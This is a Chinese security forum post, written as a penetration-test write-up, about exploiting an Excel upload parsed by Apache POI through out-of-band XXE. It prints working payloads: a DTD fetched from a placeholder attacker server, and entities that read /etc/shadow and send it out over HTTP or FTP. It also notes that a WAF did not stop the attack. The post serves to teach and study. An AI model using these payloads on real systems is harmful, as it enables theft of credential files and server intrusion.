安全矩阵

 找回密码
 立即注册
搜索
查看: 4337|回复: 0

Apache POI 与 OOB-XXE 组合实战

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-14 19:09:53 | 显示全部楼层 |阅读模式
原文链接:Apache POI 与 OOB-XXE 组合实战

前言

在一次项目中偶然发现了一处excel上传功能,恰巧碰到Apache POI与OOB-XXE两种漏洞同时利用成功的情况,实属幸运,特别将这次渗透过程记录分享给大家,希望给大家启发,不足之处也请指教。
No. 1  背景介绍
Apache POI
Excel、Word、pdf上传功能在一些财务、办公、数据分析系统中较为常见,在其他一些需要批量导入数据的系统中也是较为常用的功能。开发人员也大多使用Apache POI 的java类库来解析文件,关于POI的XXE漏洞在目前公开的信息中,有下面的CVE ,CVE-2014-3529、CVE-2016-5000、CVE-2017-5644,其影响版本大多为3.15以前版本,具体信息大家可根据CVE进行查询。
OOB-XXE
OOB-XXE(Out-of-band XML External Entity),全称带外XML外部实体,与很多其他漏洞一样XXE也分为带内和带外。带内XXE攻击更为常见,攻击者可以立即收到对XXE有效负载的响应。对于带外XXE攻击(也称为盲注XXE),Web应用程序不会立即做出响应。

No.2 实战
漏洞探测
1、解压excel

2、编辑 xl/worksheets/sheet1.xml

这里其实也可对xl/workbook.xml进行编辑,由于我已经知道后端主要解析的是sheet1.xml所以我这里直接改了sheet1.xml,这与后端解析实现有关,不固定为该文件。
3、重新打包,进行上传


下图中收到了刚才构造的http请求

OOB环境
目前只是知道了该上传点存在XXE漏洞,但是要扩大漏洞危害,必须要读取到系统上的敏感文件。这时需要用到完整的OOB-XXE环境,我们利用下面的图片来进行完整的说明。

1.攻击者发送XML请求,请求中带有向攻击者服务器引入外部实体DTD文件的内容
2.目标服务器接收到攻击者请求后向攻击者服务器请求DTD文件资源
3.目标服务器接收到引入外部DTD文件中的内容
4.目标服务器开始解析外部DTD文件中读取服务器敏感信息的指令
5.目标服务器将读取到的信息通过例如ftp、http、gopher等协议向攻击者服务器发送请求

XXE攻击
需要利用的是XML协议中的引入外部DTD文件特性,格式如下
  1. <!DOCTYPE  根元素名称  SYSTEM  "dtd文件路径">
复制代码
由此我们可以引入读取系统文件的DTD文件,进而通过OOB-XXE将敏感信传递出来,如下面的payload,其中ff.dtd即读取系统文件的DTD文件
  1. <!DOCTYPE a [
  2. <!ENTITY % asd SYSTEM "http://YOURSERVER/ff.dtd">
  3. %asd;
  4. %c;
  5. ]>
  6. <a>&xxe;</a>
复制代码
ff.dtd使用HTTP协议时
  1. <!ENTITY % data SYSTEM "file:///etc/shadow">
  2. <!ENTITY % all "<!ENTITY xxe SYSTEM 'http://YOURSERVER/p=%data;'>">
  3. %all;
复制代码

启动web服务,让目标服务器来请求我们的ff.dtd文件


然而这里出现一个问题,如下图,服务器响应“Illegal character in URL”,并且我们用于接收信息的监听端也未收到任何请求。

这是因为上述payload直接将数据拼接在URL后面,然而这里会出现两种情况:
1、目标服务器发起的是Get请求,我们都知道Get请求的URL长度是有限制的,一旦我们读取的内容过大就会出现请求异常。
2、在RFC 3986协议中指出,URI中只能包含下面的84个字符,其他字符需要URL编码,否则视为非法字符。
  1. ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~:/?#[]@![        DISCUZ_CODE_19        ]amp;'()*+,;=
复制代码

显然这次碰到的问题属于第2种问题,我们改读取其他不含非法字符的文件信息,例如 /etc/hostname

如下图,我们的监听端读取到了hostname信息

然而对于xxe来说支持的协议远不止http,还有ftp协议,我们使用国外研究者发布的一个ftp server(https://github.com/ONsec-Lab/scripts)来作为信息读取端。
ff.dtd使用下面的payload,同样还是读取/etc/shadow
  1. <!ENTITY % d SYSTEM "file:///etc/shadow">
  2. <!ENTITY % c "<!ENTITY xxe SYSTEM 'ftp://%d;@YOURFTPSERVER/'>">
  3. %c;
复制代码

如下图,在ftp server中读取到了目标服务器发送的shadow文件数据


这里其实作为带外XXE,本不应收到服务器的响应数据,但是这里我也很幸运的收到了服务器的响应,可能与后端实现有关,不同环境可能表现不同的现象。

至此整个利用流程就结束了。本次实战中使用到的漏洞关键还在于POI的解析漏洞,OOB-XXE只能算是一种利用技术,可能有人会疑问我通篇都没有提到如何发现后端使用的是POI解析文件的,这其实是一个小失误,在早期的测试中某个payload引发了一个异常,服务器向前端抛出了一个POI版本相关的错误,奈何当时忘记截图后期再也触发不了了 - -!

No.3  总结
虽然本次实战渗透中利用的漏洞都为较老的漏洞,但是作为不太常见的漏洞如果之前仅是了解或阅读过相关文章,显然不足以证明自己理解该漏洞的利用过程,其中各个环节也有可能出现被卡住的情况,例如前文中对xlsx文件中具体解析的是哪个xml文件,需要耐心尝试,再比如http请求异常的情况也属于未见过的异常。并且本次实战环境是有waf存在的,从整个测试流程下来似乎并没有感觉到WAF的作用,显然在这种带外攻击中,WAF扮演的角色仍然不足以有效识别这种攻击。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:25 , Processed in 0.014887 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表